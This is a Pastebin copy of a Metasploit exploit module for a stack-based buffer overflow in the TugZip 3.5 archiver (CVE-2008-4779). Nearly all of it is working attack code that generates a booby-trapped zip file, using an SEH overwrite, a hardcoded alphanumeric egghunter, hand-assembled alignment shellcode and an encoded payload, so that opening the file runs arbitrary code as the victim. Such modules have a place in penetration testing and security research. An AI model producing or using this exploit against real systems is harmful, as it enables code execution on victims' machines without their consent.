Guest User

Untitled

a guest
Oct 11th, 2011
44
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.84 KB | None | 0 0
  1. ##
  2. # $Id: tugzip.rb 13868 2011-10-11 03:30:14Z sinn3r $
  3. ##
  4.  
  5. ##
  6. # This file is part of the Metasploit Framework and may be subject to
  7. # redistribution and commercial restrictions. Please see the Metasploit
  8. # Framework web site for more information on licensing and terms of use.
  9. # http://metasploit.com/framework/
  10. ##
  11.  
  12. require 'msf/core'
  13. require 'rex/zip'
  14.  
  15. class Metasploit3 < Msf::Exploit::Remote
  16. Rank = GoodRanking
  17.  
  18. include Msf::Exploit::FILEFORMAT
  19.  
  20. def initialize(info = {})
  21. super(update_info(info,
  22. 'Name' => 'TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability',
  23. 'Description' => %q{
  24. This module exploits a stack-based buffer overflow vulnerability
  25. in the latest version 3.5 of TugZip archiving utility.
  26. In order to trigger the vulnerability, an attacker must convince someone
  27. to load a specially crafted zip file with TugZip by double click or file open.
  28. By doing so, an attacker can execute arbitrary code as the victim user.
  29. },
  30. 'License' => MSF_LICENSE,
  31. 'Author' =>
  32. [
  33. 'Stefan Marin', # Vulnerability discovery
  34. 'Lincoln', # Corelan team. Original exploit
  35. 'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
  36. 'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module
  37. ],
  38. 'Version' => '$Revision: 13868 $',
  39. 'References' =>
  40. [
  41. [ 'OSVDB', '49371' ],
  42. [ 'CVE', '2008-4779' ],
  43. [ 'BID', '17432' ],
  44. [ 'URL', 'http://www.exploit-db.com/exploits/12008/' ]
  45. ],
  46. 'Platform' => [ 'win' ],
  47. 'Payload' =>
  48. {
  49. 'BadChars' => "\x00\x0f\x14\x15\x2f" + (0x80..0xff).to_a.pack('C*'),
  50. 'DisableNops' => true, # no need
  51. 'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
  52. 'EncoderOptions' =>
  53. {
  54. 'BufferRegister' => 'EDI', # Egghunter jmp EDI
  55. }
  56. },
  57.  
  58. 'Targets' =>
  59. [
  60. [
  61. 'Universal',
  62. {
  63. 'Ret' => 0x7e0c307e,
  64. # 5.00.2147.1 [ztvcabinet.dll]
  65. # POP EBX > POP EBP > RETN
  66. 'Offset' => 372, # to nseh
  67. }
  68. ],
  69. ],
  70. 'DislosureDate' => 'Oct 28 2008',
  71. 'DefaultTarget' => 0))
  72.  
  73. register_options(
  74. [
  75. OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
  76. ], self.class)
  77.  
  78. end
  79.  
  80. def exploit
  81.  
  82. # Hardcoded egghunter due to size limit (before nseh destroyed/130D past seh of usable bytes)
  83. # base register ESI
  84. hunter = "VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs"
  85. hunter << "rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA"
  86. eggtag = 'w00t' * 2
  87.  
  88. getpc_asm = %q{
  89. popad
  90. popad
  91. popad
  92. popad
  93. popad
  94. pop ebx
  95. }
  96.  
  97. # Align EBX for hunter
  98. alignment = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string
  99.  
  100. # Align for ESI + factoring mangled chars
  101. alignment << "\x89\x05" # jmp short (5 bytes) to 'jmp back' at end
  102. alignment << "\x5e" # pop esi
  103. alignment << "\x41" # nop (inc ecx)
  104. alignment << "\x98\x99" # call esi
  105. alignment << "\x41" # nop (inc ecx)
  106. alignment << "\x8a\x94\x98\x98\x98" # jmp back to pop esi
  107.  
  108. getpc_asm = %q{
  109. popad
  110. pop esp
  111. inc eax
  112. inc eax
  113. }
  114.  
  115. # Realign stack pointer
  116. nseh = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string
  117.  
  118. seh = [target.ret].pack("V*")
  119.  
  120. sploit = rand_text_alpha(target['Offset'])
  121. sploit << nseh << seh
  122. sploit << alignment
  123. sploit << hunter
  124. sploit << eggtag << payload.encoded
  125.  
  126. zip = Rex::Zip::Archive.new
  127. xtra = [0xdac0ffee].pack('V')
  128. comment = [0xbadc0ded].pack('V')
  129. zip.add_file(sploit, xtra, comment)
  130.  
  131. # Create the file
  132. print_status("Creating '#{datastore['FILENAME']}' file...")
  133.  
  134. file_create(zip.pack)
  135. end
  136.  
  137. end
  138.  
  139.  
  140. # [2011-10-11]
  141.  
Advertisement
Add Comment
Please, Sign In to add comment